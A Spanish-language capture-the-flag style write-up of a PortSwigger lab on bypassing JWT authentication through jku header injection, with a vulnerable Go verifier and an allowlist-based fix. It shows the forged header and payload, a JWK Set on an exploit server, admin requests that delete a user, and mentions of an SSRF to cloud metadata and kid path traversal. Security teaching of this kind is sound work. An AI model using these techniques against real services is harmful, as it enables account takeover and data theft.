JWT Authentication Bypass — JKU Header Injection (Server-Side Key Fetch)
Bypass de autenticación forjando un JWT cuyo header jku (RFC 7515 §4.1.2) apunta a un JWK Set controlado por el atacante. El verificador descarga la clave sin allowlist de origen: el atacante firma como administrator y la firma valida.
JWT Authentication Bypass — JKU Header Injection (Server-Side Key Fetch)
Laboratorio: PortSwigger Web Security Academy — JWT authentication bypass via jku header injection Estado: Resuelto. Pista del lab: the server supports the
jkuparameter in the JWT header, however it fails to check whether the provided URL belongs to a trusted domain before fetching the key.
1. Target Overview & Vulnerability Summary
| Campo | Detalle |
|---|---|
| Clase de vulnerabilidad | Authentication Bypass / SSRF en la cadena de verificación de firma |
| Severidad | High — compromiso de identidad privilegiada sin credenciales |
| Vector | JWT header jku (RFC 7515 §4.1.2) → JWK Set fetch (RFC 7517) |
| Endpoint vulnerable | Middleware de verificación de sesión (parseo de Authorization/session) |
| Root cause | El verificador resuelve jku y descarga la clave de verificación sin validar el host contra un allowlist de dominios confiables |
| Resultado | Firma forjada con una clave propia del atacante es aceptada → sub: administrator |
El JWT header jku (JWK Set URL) le indica al servidor dónde descargar el conjunto de claves públicas necesarias para verificar la firma. Es un mecanismo legítimo de intercambio de claves: el atacante lo convierte en un canal de control de la clave de verificación. Como el servidor no audita el origen de jku, el atacante publica su propio JWK Set, firma un token como administrator y la firma — verificado contra la clave del atacante — pasa. La verificación no es un oráculo criptográfico roto: es una decisión de confianza delegada a un input del atacante.
La cadena atacante completa:
2. Technical Breakdown & Exploitation Flow
2.1 El primitivo de ataque
Un JWT firmado se estructura en tres segmentos base64url: header.payload.signature. La firma se verifica resolviendo la clave pública a partir de metadatos del propio header (alg, kid, jku). Cuando jku está presente, el verificador:
- Extrae
jkudel header (input del atacante). - Ejecuta un
GETa esa URL para obtener un JWK Set (RFC 7517: objeto JSON con un arraykeysde JWKs). - Selecciona la clave por
kid. - Verifica la firma con esa clave.
El fallo de diseño es el paso 2: no existe ninguna comprobación de que el host de jku pertenezca a la organización. El atacante controla tanto la URL como el contenido del JWK Set — por tanto controla la clave contra la que se valida su propia firma. La verificación criptográfica es correcta; la cadena de confianza está rota.
2.2 Steps to reproduce
Paso 0 — Obtener un JWT de sesión legítimo.
curl -si -c jar.txt https://<LAB>.web-security-academy.net/login \
-d 'username=wiener&password=peter' | grep -i set-cookie
Paso 1 — Generar un par de claves RSA (extensión JWT Editor de Burp Suite). Burp → JWT Editor Keys → New RSA Key → Generate (2048 bits).
Paso 2 — Publicar el JWK Set en el exploit server del lab. La URL jku debe devolver el JWK Set en formato RFC 7517. Con Craft a response en el exploit server:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759",
"n": "sX9f67sh53Xowq1WcSKBLiyE0UTrz6pyRL1O61PO7AaFXYew_QKRbhEOZ8D0LjSS5L9ET3axEFe5k1VJZDG3ynVBp4imhEXAUi8KrLI3R2_xzouj4j8_vyUu13Mjz7OV_bvFD79E7zINLB-2iRZIMql18Z5-L01PoVXk-fdYL3GYdWCOROdheZJhVJo8G_m6vL_bfCMtXch1q-COHE0hkeNRveAgQl7gJh9kmiD4bRJrSUpc4hqjFbxmkL3aw0dDCvHSRE38iDmGQO-PZzsSUofPxSLIkORjUbMXPvorFCWQXM94Nl7j_JFz62dV6QKxJMDNlm6jNNDegRRID8oLlw"
}
]
}
El kid debe coincidir con el que usaremos en el header del JWT forjado. Guardado en:
https://exploit-<INSTANCE>.exploit-server.net/exploit.json
Paso 3 — Forjar el token. Decodificar el JWT de sesión y reemplazar header y payload:
// HEADER
{
"kid": "762a529d-54ae-4953-b7b4-ae5cfe6f7759",
"alg": "RS256",
"jku": "https://exploit-<INSTANCE>.exploit-server.net/exploit.json"
}
// PAYLOAD
{
"iss": "portswigger",
"exp": 1757258769,
"sub": "administrator"
}
exp se copia del token legítimo (o se extiende) para no caducar; sub se reemplaza por administrator. No se modifica el algoritmo: RS256 permanece, porque el vector no es algorithm confusion sino key-source confusion.
Paso 4 — Firmar con la clave privada del atacante. En la pestaña JSON Web Token de Burp: Sign → seleccionar la clave RSA generada en el paso 1 → OK.
Paso 5 — Replay con la sesión forjada.
GET /admin HTTP/1.1
Host: <LAB>.web-security-academy.net
Cookie: session=<HEADER>.<PAYLOAD>.<SIGNATURE>
El panel /admin responde 200. El laboratorio se resuelve con la supresión del usuario:
GET /admin/delete?username=carlos HTTP/1.1
Host: <LAB>.web-security-academy.net
Cookie: session=<HEADER>.<PAYLOAD>.<SIGNATURE>
2.3 Decisión clave
jku no es un parámetro de ataque per se: es un mecanismo de distribución de claves de RFC 7515. La vulnerabilidad aparece cuando el servidor delega la selección de la clave de verificación a un input del token. La defensa mínima — validar el host de jku contra un allowlist — rompe la cadena: el atacante ya no puede apuntar el fetch hacia su propio servidor.
3. Root Cause Analysis
El patrón de código defectuoso, en términos de keyfunc (Go, github.com/golang-jwt/jwt):
// VULNERABLE — el origen de jku nunca se valida.
func verifier() jwt.Keyfunc {
return func(t *jwt.Token) (interface{}, error) {
jku, _ := t.Header["jku"].(string) // (1) origen del atacante, sin check
kid, _ := t.Header["kid"].(string) // el atacante también elige kid
jwks := fetchJWKS(jku) // (2) SSRF: GET a URL arbitraria
return findKey(jwks, kid), nil // (3) devuelve la clave pública del atacante
}
}
El fallo es un single point of trust: una sola función determina qué clave valida la firma, y se alimenta exclusivamente de datos que el firmante controla. Tres errores de diseño se combinan:
- Ausencia de allowlist de origen en
jku→ el fetch alcanza cualquier host, incluido el del atacante (y, con unjkuhaciahttp://169.254.169.254/..., un SSRF a metadata cloud). kidsin correlación con un conjunto de claves conocido → el verificador acepta cualquier clave del set remoto, no solo las que la aplicación emitió.- Falta de whitelist de algoritmos → aunque aquí no se explotó, la misma keyfunc sin control sobre
algpermite los vectores hermanosalg: noney confusiónRS256 → HS256.
4. Secure Remediation
4.1 Parche mínimo — allowlist de origenes + whitelist de algoritmos
import "slices"
var trustedJWKSOrigins = []string{
"https://auth.empresa.internal", // único emisor de JWKS
}
func verifier() jwt.Keyfunc {
return func(t *jwt.Token) (interface{}, error) {
alg, _ := t.Header["alg"].(string)
if !slices.Contains([]string{"RS256", "ES256"}, alg) {
return nil, ErrAlgNotAllowed // 1. prohibir none / HS256 confusion
}
u, _ := url.Parse(t.Header["jku"].(string))
if u == nil || !slices.Contains(trustedJWKSOrigins, u.Scheme+"://"+u.Host) {
return nil, ErrUntrustedJKU // 2. el origen debe estar en allowlist
}
key := fetchKey(trustedJWKS, t.Header["kid"].(string))
if key == nil {
return nil, ErrUnknownKid // 3. kid desconocido => rechazar
}
return key, nil
}
}
4.2 Defensa en profundidad
- Eliminar
jkusi no se usa. La mayoría de verificadores no necesitan que el cliente indique la URL de claves; deben obtenerla dejwks_uridel OIDC Discovery Document (/.well-known/openid-configuration), que es una fuente fija del servidor, no del token. - Pin de
kid: validar que elkiddel header exista en el set descargado y que ese set sea el emitido por el IdP conocido. - Whitelist de
algen el parser (no solo en la keyfunc): rechazarnone,HS*cuando el emisor firme asimétrico. - Endurecer el fetch del JWKS (tiempo de espera, sin redirecciones, TLS verificado, tamaño máximo de respuesta) para contener el vector SSRF residual.
- Monitoring: alertar sobre picos de descargas de
jkuhacia hosts no confiables — señal de escaneo de este vector.
4.3 Vectores hermanos del mismo árbol
| Vector | Mecanismo | Falla de fondo |
|---|---|---|
alg: none |
Eliminar la firma | Verificador no exige algoritmo asimétrico |
RS256 → HS256 |
Firmar con la clave pública como secreto HMAC | Confusión de tipo de clave |
jwk inline |
Incrustar la clave del atacante en el header | Mismo trust defectuoso que jku |
kid path traversal |
Inyectar ../../../ para leer /dev/null o un archivo de firma HMAC |
kid usado como path sin sanitizar |
El denominador común: la confianza de la verificación no debe depender de metadatos del propio token firmado. La clave de verificación es un parámetro del servidor, no un input del cliente.